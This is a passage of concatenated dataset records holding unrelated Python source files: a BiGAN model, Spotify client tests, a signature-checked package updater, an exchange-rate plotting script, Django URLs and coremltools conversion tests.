self).__init__()\n self.config = config\n self.img_shape = self.config.transforms.img_shape[-2:]\n\n self.model_prep = nn.Sequential(\n nn.Linear(self.config.struct.latent_dim, 512),\n nn.LeakyReLU(0.2, inplace=True)\n )\n self.model = nn.Sequential(\n nn.ConvTranspose2d(512, 512, 4, 1, 0, bias=False),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(0.2, inplace=True),\n nn.ConvTranspose2d(512, 256, 4, 2, 1, bias=False),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(0.2, inplace=True),\n nn.ConvTranspose2d(256, 128, 4, 2, 1, bias=False),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(0.2, inplace=True),\n nn.ConvTranspose2d(128, 64, 4, 2, 1, bias=False),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(0.2, inplace=True),\n nn.ConvTranspose2d(64, 1, 4, 2, 1, bias=False),\n nn.Tanh()\n )\n\n def forward(self, z):\n img_conv = self.model_prep(z).unsqueeze(2).unsqueeze(3)\n img = self.model(img_conv).view(-1, *self.img_shape)\n return img\n\n\nclass Discriminator(nn.Module):\n def __init__(self, config):\n super(Discriminator, self).__init__()\n self.config = config\n\n self.img_dis = nn.Sequential(\n nn.Conv2d(1, 16, 4, 2, 1, bias=False),\n nn.BatchNorm2d(16),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(16, 32, 4, 2, 1, bias=False),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(32, 64, 4, 2, 1, bias=False),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(64, config.struct.latent_dim, 4, 2, 1, bias=False),\n nn.BatchNorm2d(config.struct.latent_dim),\n nn.LeakyReLU(0.2, inplace=True),\n nn.AvgPool2d(4),\n nn.Flatten()\n )\n\n self.model = nn.Sequential(\n nn.Linear(2*config.struct.latent_dim, 512),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Linear(512, 256),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Linear(256, 128),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Linear(128, 1),\n # nn.Sigmoid()\n )\n\n def forward(self, z, img):\n x = self.img_dis(img.unsqueeze(1))\n validity = self.model(torch.cat((z, x), 1))\n return validity\n","sub_path":"model/BiGAN.py","file_name":"BiGAN.py","file_ext":"py","file_size_in_byte":7984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"546909692","text":"import os\nimport asyncio\nimport unittest\nfrom aiospotify import Aiospotify\n\n\ndef async_test(f):\n def wrapper(*args, **kwargs):\n coro = f(*args, **kwargs)\n loop = asyncio.get_event_loop()\n loop.run_until_complete(coro)\n return wrapper\n\n\nclass AiospotifyTest(unittest.TestCase):\n def setUp(self):\n self.aio = Aiospotify(client_id=os.environ['CLIENT_ID'],\n client_secret=os.environ['CLIENT_SECRET'])\n\n @async_test\n async def test_search(self):\n query = 'abbey road'\n token = await self.aio.init_auth()\n albums = await self.aio.search(query, token, type='album')\n self.assertTrue(albums[0]['id'] == '0ETFjACtuP2ADo6LFhL6HN')\n\n @async_test\n async def test_search_track(self):\n id_ = '3n3Ppam7vgaVa1iaRUc9Lp'\n token = await self.aio.init_auth()\n track = await self.aio.search_track(id_, token)\n self.assertTrue(track['id'] == id_)\n\n @async_test\n async def test_search_tracks(self):\n ids = ['3n3Ppam7vgaVa1iaRUc9Lp', '3twNvmDtFQtAd5gMKedhLD']\n token = await self.aio.init_auth()\n tracks = await self.aio.search_tracks(ids, token)\n self.assertTrue(tracks[0]['id'] == ids[0] and tracks[1]['id'] == ids[1])\n\n @async_test\n async def test_search_album(self):\n id_ = '0sNOF9WDwhWunNAHPD3Baj'\n token = await self.aio.init_auth()\n album = await self.aio.search_album(id_, token)\n self.assertTrue(album['id'] == id_)\n\n @async_test\n async def test_search_albums(self):\n ids = ['0sNOF9WDwhWunNAHPD3Baj', '6JWc4iAiJ9FjyK0B59ABb4']\n token = await self.aio.init_auth()\n albums = await self.aio.search_albums(ids, token)\n self.assertTrue(albums[0]['id'] == ids[0] and albums[1]['id'] == ids[1])\n\n @async_test\n async def test_search_artist(self):\n id_ = '0OdUWJ0sBjDrqHygGUXeCF'\n token = await self.aio.init_auth()\n artist = await self.aio.search_artist(id_, token)\n self.assertTrue(artist['id'] == id_)\n\n @async_test\n async def test_search_artists(self):\n ids = ['0OdUWJ0sBjDrqHygGUXeCF', '3dBVyJ7JuOMt4GE9607Qin']\n token = await self.aio.init_auth()\n artists = await self.aio.search_artists(ids, token)\n self.assertTrue(artists[0]['id'] == ids[0] and artists[1]['id'] == ids[1])\n\n @async_test\n async def test_search_playlist(self):\n pid = '59ZbFPES4DQwEjBpWHzrtC'\n uid = 'spotify'\n token = await self.aio.init_auth()\n artist = await self.aio.search_playlist(pid, uid, token)\n self.assertTrue(artist['id'] == pid)\n\n @async_test\n async def test_connector_fetch(self):\n endpoint = 'http://httpbin.org/status/504'\n await self.aio.connector.fetch(endpoint, {})\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/aio_test.py","file_name":"aio_test.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"571867678","text":"def parseLine(line, key):\r\n if line[:8] == \"DEFINING\":\r\n proc = line[8:-2]\r\n procSplit = proc.split()\r\n DIMACS_var = procSplit[0]\r\n circuit_var = procSplit[2]\r\n key[DIMACS_var] = circuit_var\r\n return\r\n \r\nf = open(\"4tabkey_1to3\")\r\nkey = {}\r\nfor line in f:\r\n parseLine(line,key)\r\n \r\n\r\nsat_output = open(\"out\")\r\nsat_output_replaced = open(\"out_replaced\",'a')\r\nfor line in sat_output:\r\n\tnewLine = line\r\n\tif line[:14] == \"LEARNED CLAUSE\":\r\n\t\tDIMACS_vars = line.split()[2:]\r\n\t\torig_vars = []\r\n\t\tfor DIMACS_var in DIMACS_vars:\r\n\t\t\tneg = False\r\n\t\t\tif DIMACS_var[0] == \"-\":\r\n\t\t\t\tneg = True\r\n\t\t\t\tunsigned_var = DIMACS_var[1:]\r\n\t\t\telse:\r\n\t\t\t\tunsigned_var = DIMACS_var\r\n\t\t\tif unsigned_var in key:\r\n\t\t\t\tif neg:\r\n\t\t\t\t\torig_vars.append(\"-\"+key[unsigned_var])\r\n\t\t\t\telse:\t\r\n\t\t\t\t\torig_vars.append(key[DIMACS_var])\r\n\t\t\telse:\r\n\t\t\t\torig_vars.append(DIMACS_var)\r\n\t\tnewLine = \"LEARNED CLAUSE: \"\r\n\t\tfor orig_var in orig_vars:\r\n\t\t\tnewLine = newLine + orig_var + \" \"\r\n\t\tnewLine = newLine + \"\\n\"\r\n\telif line[:8] == \"Branched\":\r\n\t\tDIMACS_var = line.split()[2]\r\n\t\tif DIMACS_var in key:\r\n\t\t\torig_var = key[DIMACS_var]\r\n\t\t\tnewLine = line + \"AKA Branched on: \" + orig_var + \"\\n\"\r\n\telif line[:4] == \"var:\":\r\n\t\tDIMACS_var = line.split()[1]\r\n\t\tif DIMACS_var in key:\r\n\t\t\torig_var = key[DIMACS_var]\r\n\t\t\tnewLine = line + \"AKA var: \" + orig_var + \"\\n\"\t\t\r\n\tsat_output_replaced.write(newLine)\r\n\t\t\t\r\n","sub_path":"vliew_utils/to_tableau/translator.py","file_name":"translator.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"309773922","text":"\"\"\"ScatterBytes Updates.\n\nThis module functions to update the scatterbytes package.\n\n\"\"\"\n\nimport os\nimport re\nimport sys\nimport time\nimport urllib2\nimport logging\nimport datetime\nfrom . import crypt\nfrom . import config\nfrom .errors import UpdateError\n\nlogger = logging.getLogger(__name__)\n\n\nUPDATE_URL = os.environ.get('SB_UPDATE_URL') or \\\n 'https://controlnode.scatterbytes.net:8080/updates'\n\n\n# local cache\nCACHE = {}\n \n\nPROGRAM_RE = {\n 'sbnet' : re.compile(r'^sbnet-(\\d+.\\d+.\\d+)$'),\n 'scatterbytes-package' : re.compile(\n r'^scatterbytes-package-(\\d+.\\d+.\\d+).zip$'\n )\n}\nTS_FORMAT = '%Y-%m-%dT%H:%M:%S'\nCHECK_LOG_NAME = 'scatterbytes_package_check.txt'\n\n\ndef find_home_dir(use_cache=True):\n if use_cache and 'home_dir' in CACHE:\n return CACHE['home_dir']\n home = config.find_home_dir()\n CACHE['home_dir'] = home\n return home\n\n\ndef find_data_dir(use_cache=True):\n \"\"\"Find the directory to write package to.\n \n \"\"\"\n\n if use_cache and 'data_dir' in CACHE:\n return CACHE['data_dir']\n sb_dir = config.find_data_dir()\n # Need this directory if it doesn't exist yet.\n if not os.path.exists(sb_dir):\n os.makedirs(sb_dir)\n CACHE['data_dir'] = sb_dir\n return sb_dir\n\n\ndef find_package_path():\n data_dir = find_data_dir()\n package_names = []\n for f in os.listdir(data_dir):\n match = PROGRAM_RE['scatterbytes-package'].match(f)\n if match:\n package_names.append(f)\n if package_names:\n package_names.sort()\n package_name = package_names[-1]\n package_path = os.path.join(data_dir, package_name)\n return package_path\n\n\ndef check_update_period(minutes=60):\n \"\"\"Check if an update has been attempted within specified period.\"\"\"\n\n current_time = datetime.datetime.utcnow()\n data_dir = find_data_dir()\n check_log_path = os.path.join(data_dir, CHECK_LOG_NAME)\n if not os.path.exists(check_log_path):\n return False\n try:\n dt_text = open(check_log_path).read()\n t_struct = time.strptime(dt_text, TS_FORMAT)\n t_args = map(int, t_struct[:6])\n dt = datetime.datetime(*t_args)\n period = current_time - dt\n if period < datetime.timedelta(minutes=minutes):\n return True\n return False\n except:\n logger.error('check_log failed', exc_info=True)\n return False\n\n\ndef add_package_to_path(package_path=None):\n if package_path is None:\n package_path = find_package_path()\n assert package_path, 'no package found'\n if package_path not in sys.path:\n sys.path.insert(1, package_path)\n\n\ndef get_installed_sb_version():\n package_path = find_package_path()\n if package_path:\n match = PROGRAM_RE['scatterbytes-package'].match(package_path)\n if match:\n package_version = match.groups()[0]\n return package_version\n\n\ndef get_current_program_info(name):\n \"grab the current package info from the update host\"\n url = UPDATE_URL + '/%s.txt' % name\n f = urllib2.urlopen(url)\n program_text = f.read()\n (pgm_name, pgm_hash, pgm_sig) = program_text.split()\n pgm_version = PROGRAM_RE[name].match(pgm_name).groups()[0]\n return (pgm_name, pgm_version, pgm_hash, pgm_sig)\n\n\ndef check_cert_signature(cert_pem_string):\n \"\"\"check that a certificate was signed by root cert\"\"\"\n cert = crypt.Certificate(pem_string=cert_pem_string)\n root_cert = crypt.Certificate(pem_string=config.CA_ROOT_CERT_PEM)\n cert.verify(root_cert.public_key)\n\n\ndef get_software_signer_cert():\n \"\"\"get the certificate to check signature on new software\"\"\"\n url = UPDATE_URL + '/software_signer_cert.pem'\n cert_pem = urllib2.urlopen(url).read()\n check_cert_signature(cert_pem)\n return cert_pem\n\n\ndef update_check_log():\n \"\"\"update log for program updates\"\"\"\n data_dir = find_data_dir()\n check_log_path = os.path.join(data_dir, CHECK_LOG_NAME)\n f = open(check_log_path, 'wb')\n f.write(datetime.datetime.utcnow().strftime(TS_FORMAT))\n f.close()\n\n\ndef get_updated_program(name, installed_version):\n \"\"\"update scatterbytes packages or sbnet program\"\"\"\n import hashlib\n import binascii\n assert name in ('scatterbytes-package', 'sbnet')\n (pgm_name, pgm_version, pgm_hash, pgm_sig) = get_current_program_info(name)\n update_check_log()\n if pgm_version <= installed_version:\n return\n pgm_url = UPDATE_URL + '/' + pgm_name\n f = urllib2.urlopen(pgm_url)\n pgm_data = f.read()\n # check the hash\n calc_hash = hashlib.sha256(pgm_data).hexdigest()\n assert calc_hash == pgm_hash\n # check the signature on the hash\n cert = crypt.Certificate(pem_string=get_software_signer_cert())\n pubkey = cert.public_key\n pubkey.verify_init()\n pubkey.verify_update(calc_hash)\n pgm_sig_bin = binascii.unhexlify(pgm_sig)\n assert pubkey.verify_final(pgm_sig_bin) == 1, 'signature check failed'\n return (pgm_name, pgm_version, pgm_data)\n\n\ndef update_package(force=False, queue=None):\n # update scatterbytes package\n # return value of 1 means not updated\n # return value of 2 means updated\n ret = 1\n if not force and check_update_period():\n # skip if this was done recently\n if queue:\n queue.put(ret)\n return ret\n # scatterbytes package first\n try:\n sb_version = get_installed_sb_version()\n response = get_updated_program('scatterbytes-package', sb_version)\n if response:\n (package_name, package_version, package_data) = response\n # checks passed - save the program\n sb_path = os.path.join(find_data_dir(), package_name)\n open(sb_path, 'wb').write(package_data)\n logger.debug('got new package version %s' % package_version)\n # test it\n add_package_to_path(sb_path)\n try:\n reload_package()\n import scatterbytes.cli\n logger.debug('reloaded %s' % scatterbytes.cli)\n except:\n logger.error('new package failed - removing', exc_info=True)\n os.unlink(sb_path)\n sys.path.remove(sb_path)\n else:\n ret = 2\n if queue:\n queue.put(ret)\n else:\n return ret\n except:\n logger.error('error updating package', exc_info=True)\n\n\ndef update_all(force=False):\n # for now, just update the package\n # running in another process so modules don't get loaded in this namespace\n logger.debug('updating package')\n import Queue\n import multiprocessing\n queue = multiprocessing.Queue()\n p = multiprocessing.Process(target=update_package, args=(force, queue))\n p.start()\n p.join()\n try:\n queue.get(False)\n except Queue.Empty:\n raise UpdateError('Update failed! Check log for details.')\n logger.debug('updating finished')\n\n\ndef reload_package():\n \"\"\"reload the scatterbytes package\n \n This is intended to be used after inserting a new package in sys.path.\n \n \"\"\"\n reload_list = []\n for (k, m) in sys.modules.items():\n if k.startswith('scatterbytes') and m is not None:\n reload_list.append(m)\n # top must reload first\n reload_list.sort()\n for m in reload_list:\n logger.debug('reloading %s' % m)\n reload(m)\n","sub_path":"scatterbytes/updates.py","file_name":"updates.py","file_ext":"py","file_size_in_byte":7399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"317262324","text":"import json\nimport datetime\nimport requests\nimport matplotlib.pyplot as pl\n\nf=open('C://Users//Lenovo//Desktop//Winsoft-Assignment//2020-interns//data.json')\ndata = json.load(f)\ncnt=0\ncurrentRate=[]\ndates=[]\ndateList=[]\nRateINR=[]\nListofDatesofINR=[]\nListofRatesofINR=[]\nListofDatesofGBP=[]\nListofRatesofGBP=[]\ndateRateofINR={}\ndateRateofGBP={}\nRateGBP=[]\ndate1=[]\ncntDate=0\nd1={}\nd2={}\ncnt1=0\n#current date\nx=datetime.datetime.now().date()\n# [T-3]Plot the graph of INR and GBP exchange rate against EUR from 1 Jan 2019 to 31 Jan 2019 and also indicate the current rate for INR and GBP on the graph itself.\nfor i in data['rates']:\n dates=i.split(\"-\")\n if dates[1]==\"01\" and dates[0]==\"2019\":\n cntDate=cntDate+1 #Counting No of Dates in range 1 Jan 2019 to 31 Jan 2019\n\n#Finding dates in given range and there corresponding inr values\nfor k,v in data.items():\n if(cnt1!=cntDate):\n for j in v.items():\n dates=j[0].split(\"-\")\n if dates[1]==\"01\" and dates[0]==\"2019\":\n print(dates)\n ListofDatesofINR.append(j[0])\n cnt1=cnt1+1\n for m,n in j[1].items():\n if(m==\"INR\"):\n print(m, n)\n ListofRatesofINR.append(n)\n break\n#Creating dictionary of dates and there corresponfing INR values(this dictionary is unsorted)\nfor i in range(0,cntDate):\n d1[ListofDatesofINR[i]]=ListofRatesofINR[i]\nprint(d1)\n#Sorting values according to date and adding it to a dictionary dateRate\nfor key in sorted(d1):\n print(\"%s: %s\" % (key, d1[key]))\n dateRateofINR[key]=d1[key]\nprint(dateRateofINR)\n\n#Making two separate lists of date and there corresponding inr values\nfor k in dateRateofINR:\n dateList.append(k)\n RateINR.append(dateRateofINR[k])\nprint(dateList)\nprint(RateINR)\n\n#-----------------------------------------------------------------------------------------------------------------------\nprint(\"-------------------------GBP---------------------------------------\")\n#Finding dates in given range and there corresponding GBP values\ncnt1=0\nfor k,v in data.items():\n if(cnt1!=cntDate):\n for j in v.items():\n dates=j[0].split(\"-\")\n if dates[1]==\"01\" and dates[0]==\"2019\":\n print(dates)\n ListofDatesofGBP.append(j[0])\n cnt1=cnt1+1\n for m,n in j[1].items():\n if(m==\"GBP\"):\n print(m, n)\n ListofRatesofGBP.append(n)\n break\n\n#Creating dictionary of dates and there corresponding INR values(this dictionary is unsorted)\nfor i in range(0,cntDate):\n d2[ListofDatesofGBP[i]]=ListofRatesofGBP[i]\nprint(d2)\n#Sorting values according to date and adding it to a dictionary dateRate\nfor key in sorted(d2):\n print(\"%s: %s\" % (key, d2[key]))\n dateRateofGBP[key]=d2[key]\nprint(dateRateofGBP)\n\n#Making two separate lists of date and there corresponding inr values\nfor k in dateRateofGBP:\n date1.append(k)\n RateGBP.append(dateRateofGBP[k])\nprint(date1)\nprint(RateGBP)\n\n#------------------------------Current Rate of INR and GBP----------------------------------------------\n\nurl='https://api.exchangeratesapi.io/latest?symbols=INR,GBP'\nresponse=requests.get(url)\nfile=response.text\nfile_content=json.loads(file)\nprint(file_content)\n\nfor k,v in file_content.items():\n if(cnt!=2):\n for i in v.items():\n currentRate.append(i[1])\n cnt=cnt+1\nprint(currentRate)\n\n#Graph\nfig,ax1=pl.subplots()\npl.xticks(rotation=90)\nax1.set_xlabel(\"Dates\")\nax1.set_ylabel('INR',color=\"blue\")\n\npl.title(\"Graph of INR and GBP exchange rate against EUR from 1 Jan 2019 to 31 Jan 2019 and current rate for INR and GBP\")\n\nax2=ax1.twinx()\nax2.set_ylabel(\"GBP\",color=\"red\")\n#plotting for INR\nax1.plot(dateList, RateINR, color='blue', linewidth = 1, marker='o', markerfacecolor='black', markersize=5)\n#plotting for GBP\nax2.plot(dateList,RateGBP,color='red', linewidth = 1, marker='o', markerfacecolor='black', markersize=5)\n#plottig for INR and GBP Current rate(both the values coincide according to left(inr scale) and right(gbp scale) yaxis\nax2.plot([str(x)],[currentRate[1]],color=\"red\",marker='o',markerfacecolor='blue',markersize=7,label=\"INR GBP Current Rate\")\npl.legend()\npl.show()\n\n\n\n","sub_path":"Task_3.py","file_name":"Task_3.py","file_ext":"py","file_size_in_byte":4307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"437381099","text":"from nose.tools import assert_raises, assert_almost_equal, assert_equal\nfrom ..graph import Greengraph\nfrom ..map import Map\nimport os\nimport yaml\nimport numpy as np\nfrom numpy import testing as npTest\nfrom mock import Mock, patch\nfrom matplotlib import image as img\n\n# Test Greengraph(object) class initialisation\ndef test_Greengraph():\n mygraph=Greengraph('London', 'Paris')\n assert_equal(mygraph.start, 'London')\n assert_equal(mygraph.end, 'Paris')\n\n# Test geolocate(self, place) function with valid input\ndef test_geolocate_valid():\n with open(os.path.join(os.path.dirname(__file__),'fixtures/graph', 'samples_geolocate_valid.yaml')) as fixtures_file:\n fixtures = yaml.load(fixtures_file)\n for fixture in fixtures:\n place = fixture.pop('place')\n result = fixture.pop('result')\n mygraph=Greengraph('', '')\n # Patch the geocoder\n mygraph.geocoder.geocode = Mock(return_value=[[0,result]])\n data = mygraph.geolocate(place)\n assert_equal(result, list(data))\n\n# Test location_sequence(self, start,end,steps) function\ndef test_location_sequence():\n with open(os.path.join(os.path.dirname(__file__),'fixtures/graph', 'samples_location_sequence.yaml')) as fixtures_file:\n fixtures = yaml.load(fixtures_file)\n for fixture in fixtures:\n start = fixture.pop('start')\n end = fixture.pop('end')\n steps = fixture.pop('steps')\n result = fixture.pop('result')\n mygraph=Greengraph('', '')\n data = mygraph.location_sequence(start, end, steps)\n npTest.assert_array_almost_equal(np.asarray(result), data)\n\n# Test green_between(self, steps) function\n# Patch the requests.get and img.imread functions\n@patch('requests.get')\n@patch('matplotlib.image.imread')\ndef test_green_between(mock_get, mock_read):\n with open(os.path.join(os.path.dirname(__file__),'fixtures/graph', 'samples_green_between.yaml')) as fixtures_file:\n fixtures = yaml.load(fixtures_file)\n for fixture in fixtures:\n fromLoc = fixture.pop('from')\n fromCoord = fixture.pop('fromCoord')\n toLoc = fixture.pop('to')\n toCoord = fixture.pop('toCoord')\n steps = fixture.pop('steps')\n result = fixture.pop('result')\n mygraph=Greengraph(fromLoc, toLoc)\n # Patch the geocoder\n mygraph.geocoder.geocode = Mock(side_effect=[[[0,fromCoord]],[[0,toCoord]]])\n # Patch the count_greenfunction within the Map class\n with patch.object(Map, 'count_green', return_value=result) as mock_method:\n data = mygraph.green_between(steps)\n assert_equal(result, data[0])\n","sub_path":"greengraph/test/test_graph.py","file_name":"test_graph.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"470469304","text":"# -*- coding: utf-8 -*-\nimport logging\n\nfrom luckycommon.feedback.model.feedback import *\n\nfrom luckycommon.utils.decorator import sql_wrapper\nfrom luckycommon.db.helper import list_object\n\n_LOGGER = logging.getLogger('lucky')\n\n\n@sql_wrapper\ndef submit(qq, content, chn, cvc, user_id=None, nick_name=None, phone=None):\n feedback = Feedback()\n feedback.chn = chn\n feedback.cvc = cvc\n feedback.qq = qq\n feedback.content = content\n if user_id:\n feedback.user_id = user_id\n if nick_name:\n feedback.nick_name = nick_name\n if phone:\n feedback.phone = phone\n feedback.save()\n\n\n@sql_wrapper\ndef list_feedback(query_dct):\n return list_object(query_dct, Feedback)\n","sub_path":"luckycommon/feedback/db/feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"4362277","text":"def compute(d, sea):\n \"\"\"Computes SEASONAL MEAN\"\"\"\n if d is None and sea is None: # just want the doc\n return {\n \"Name\": \"Seasonal Mean\",\n \"Abstract\": \"Compute Seasonal Mean\",\n \"Contact\": \"pcmdi-metrics@llnl.gov\",\n \"Comments\": \"Assumes input are 12 months climatology\",\n }\n\n mo_wts = [31, 31, 28.25, 31, 30, 31, 30, 31, 31, 30, 31, 30]\n\n if sea == \"djf\":\n indx = [11, 0, 1]\n if sea == \"mam\":\n indx = [2, 3, 4]\n if sea == \"jja\":\n indx = [5, 6, 7]\n if sea == \"son\":\n indx = [8, 9, 10]\n\n sea_no_days = mo_wts[indx[0]] + mo_wts[indx[1]] + mo_wts[indx[2]]\n\n d_sea = (\n d[indx[0]] * mo_wts[indx[0]]\n + d[indx[1]] * mo_wts[indx[1]]\n + d[indx[2]] * mo_wts[indx[2]]\n ) / sea_no_days\n\n return d_sea\n","sub_path":"pcmdi_metrics/pcmdi/seasonal_mean.py","file_name":"seasonal_mean.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"184956684","text":"def add():\r\n num1 = int(input(\"num1:\"))\r\n num2 = int(input(\"num2:\"))\r\n result = num1 + num2\r\n print(result)\r\n\r\ndef sub():\r\n\tnum1 = int(input(\"num1:\"))\r\n\tnum2 = int(input(\"num2:\"))\r\n\tresult = num1 - num2\r\n\tprint(result)\r\n\r\ndef mult():\r\n\tnum1 = int(input(\"num1:\"))\r\n\tnum2 = int(input(\"num2:\"))\r\n\tresult = num1 * num2\r\n\tprint(result)\r\n\r\ndef devide():\r\n\tnum1 = int(input(\"num1:\"))\r\n\tnum2 = int(input(\"num2:\"))\r\n\tresult = num1 / num2\r\n\tprint(result)\r\n\r\n\r\nwhile True:\r\n\tprint(\"menu\")\r\n\tprint(\"-------\")\r\n\tprint(\"1 : add\")\r\n\tprint(\"2 : sub\")\r\n\tprint(\"3 : mult\")\r\n\tprint(\"4 : devide\")\r\n\tprint(\"5 : stop\")\r\n\r\n\tsel = int(input(\":\"))\r\n\r\n\tif(sel == 1):\r\n\t\tadd()\r\n\telif(sel == 2):\r\n\t\tsub()\r\n\telif(sel == 3):\r\n\t\tmult()\r\n\telif(sel == 4):\r\n\t\tdevide()\r\n\telif(sel == 5):\r\n\t\tbreak\r\n\telse:\r\n\t\tprint(\"Wrong input, please input again\")\r\n\r\n","sub_path":"Python_woo/exer/0603_1st.py","file_name":"0603_1st.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"59762224","text":"from django.conf.urls import patterns, url\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = patterns('',\n url(r'^profile/$', 'Twerker.views.profile', name='profile'),\n url(r'^wall/$', 'Twerker.views.wall', name='wall'),\n url(r'^add/$', 'Twerker.views.add_friends', name='add'),\n url(r'^friend_added/(?P\\w+)/$', 'Twerker.views.added_friends', name='added'),\n url(r'^picture/$', 'Twerker.views.picture', name='imageupload'),\n url(r'^twerker_logout/$', 'Twerker.views.log_out', name=\"log_out\"),\n url(r'^twerker_news/(?P\\d+)/$', 'Twerker.views.get_news', name='get_news'),\n url(r'^tw_register/$', 'Twerker.views.twerker_register', name=\"tw_register\"),\n\t\t\turl(r'^face/$', 'Twerker.views.face', name=\"face\"),\n)\n","sub_path":"Twerker/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"533641795","text":"import unittest\nimport sys, os, shutil, tempfile\nimport tensorflow as tf\nimport numpy as np\nimport coremltools\n\nfrom tensorflow.python.tools.freeze_graph import freeze_graph\nfrom tensorflow.keras import backend as K\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Activation, Conv2D, Conv1D, Flatten, BatchNormalization, Conv2DTranspose, \\\n SeparableConv2D\n\nfrom test_utils import generate_data, tf_transpose\nfrom test_base import TFNetworkTest\n\nDEBUG = False\n\n\nclass TFKerasNetworkTest(TFNetworkTest):\n @classmethod\n def setUpClass(self):\n \"\"\"Set up the unit test by loading common utilities.\n \"\"\"\n K.set_learning_phase(0)\n\n def _test_keras_model(\n self, model, data_mode='random', delta=1e-2, use_cpu_only=True, has_variables=True):\n \"\"\"Saves out the backend TF graph from the Keras model and tests it \n \"\"\"\n\n model_dir = tempfile.mkdtemp()\n graph_def_file = os.path.join(model_dir, 'tf_graph.pb')\n checkpoint_file = os.path.join(model_dir, 'tf_model.ckpt')\n frozen_model_file = os.path.join(model_dir, 'tf_frozen.pb')\n coreml_model_file = os.path.join(model_dir, 'coreml_model.mlmodel')\n\n input_shapes = {inp.op.name: inp.shape.as_list() for inp in model.inputs}\n for name, shape in input_shapes.items():\n input_shapes[name] = [dim if dim is not None else 1 for dim in shape]\n\n output_node_names = [output.op.name for output in model.outputs]\n\n tf_graph = K.get_session().graph\n tf.reset_default_graph()\n if has_variables:\n with tf_graph.as_default() as g:\n saver = tf.train.Saver()\n\n # TODO - if Keras backend has_variable is False, we're not making variables constant\n with tf.Session(graph=tf_graph) as sess:\n sess.run(tf.global_variables_initializer())\n feed_dict = {}\n for name, shape in input_shapes.items():\n tensor_name = tf_graph.get_operation_by_name(name).outputs[0].name\n feed_dict[tensor_name] = generate_data(shape, data_mode)\n # run the result\n fetches = [\n tf_graph.get_operation_by_name(name).outputs[0] for name in output_node_names\n ]\n result = sess.run(fetches, feed_dict=feed_dict)\n # save graph definition somewhere\n tf.train.write_graph(sess.graph, model_dir, graph_def_file, as_text=False)\n\n # freeze_graph() has been raising error with tf.keras models since no\n # later than TensorFlow 1.6, so we're not using freeze_graph() here.\n # See: https://github.com/tensorflow/models/issues/5387\n output_graph_def = tf.graph_util.convert_variables_to_constants(\n sess, # The session is used to retrieve the weights\n tf_graph.as_graph_def(), # The graph_def is used to retrieve the nodes\n output_node_names # The output node names are used to select the useful nodes\n )\n with tf.gfile.GFile(frozen_model_file, \"wb\") as f:\n f.write(output_graph_def.SerializeToString())\n\n K.clear_session()\n\n # convert to CoreML\n mlmodel = coremltools.converters.tensorflow.convert(\n frozen_model_file,\n inputs=input_shapes,\n outputs=output_node_names,\n use_cpu_only=use_cpu_only)\n\n if DEBUG:\n print('\\n mlmodel description: \\n')\n from coremltools.models.neural_network.printer import print_network_spec\n print_network_spec(mlmodel.get_spec(), style='coding')\n mlmodel.save(coreml_model_file)\n print('\\n mlmodel saved at %s' % (coreml_model_file))\n\n # Transpose input data as CoreML requires\n coreml_inputs = {\n name: tf_transpose(feed_dict[self._get_tf_tensor_name(tf_graph, name)])\n for name in input_shapes\n }\n\n # Run predict in CoreML\n coreml_output = mlmodel.predict(coreml_inputs, useCPUOnly=use_cpu_only)\n\n for idx, out_name in enumerate(output_node_names):\n tf_out = result[idx]\n if len(tf_out.shape) == 0:\n tf_out = np.array([tf_out])\n tp = tf_out.flatten()\n coreml_out = coreml_output[out_name]\n cp = coreml_out.flatten()\n self.assertTrue(tf_out.shape == coreml_out.shape)\n for i in range(len(tp)):\n max_den = max(1.0, tp[i], cp[i])\n self.assertAlmostEqual(tp[i] / max_den, cp[i] / max_den, delta=delta)\n\n # Cleanup files - models on disk no longer useful\n if os.path.exists(model_dir):\n shutil.rmtree(model_dir)\n\n\nclass KerasBasicNumericCorrectnessTest(TFKerasNetworkTest):\n def test_dense_softmax(self):\n np.random.seed(1987)\n # Define a model\n model = Sequential()\n model.add(Dense(32, input_shape=(32,), activation='softmax'))\n # Set some random weights\n model.set_weights([np.random.rand(*w.shape) for w in model.get_weights()])\n # Test it\n self._test_keras_model(model)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"src/external/coremltools_wrap/coremltools/coremltools/converters/tensorflow/test/test_tf_keras_layers.py","file_name":"test_tf_keras_layers.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"195310752","text":"import collections\nimport random\nimport numpy as np\nimport PyQt5.QtCore as 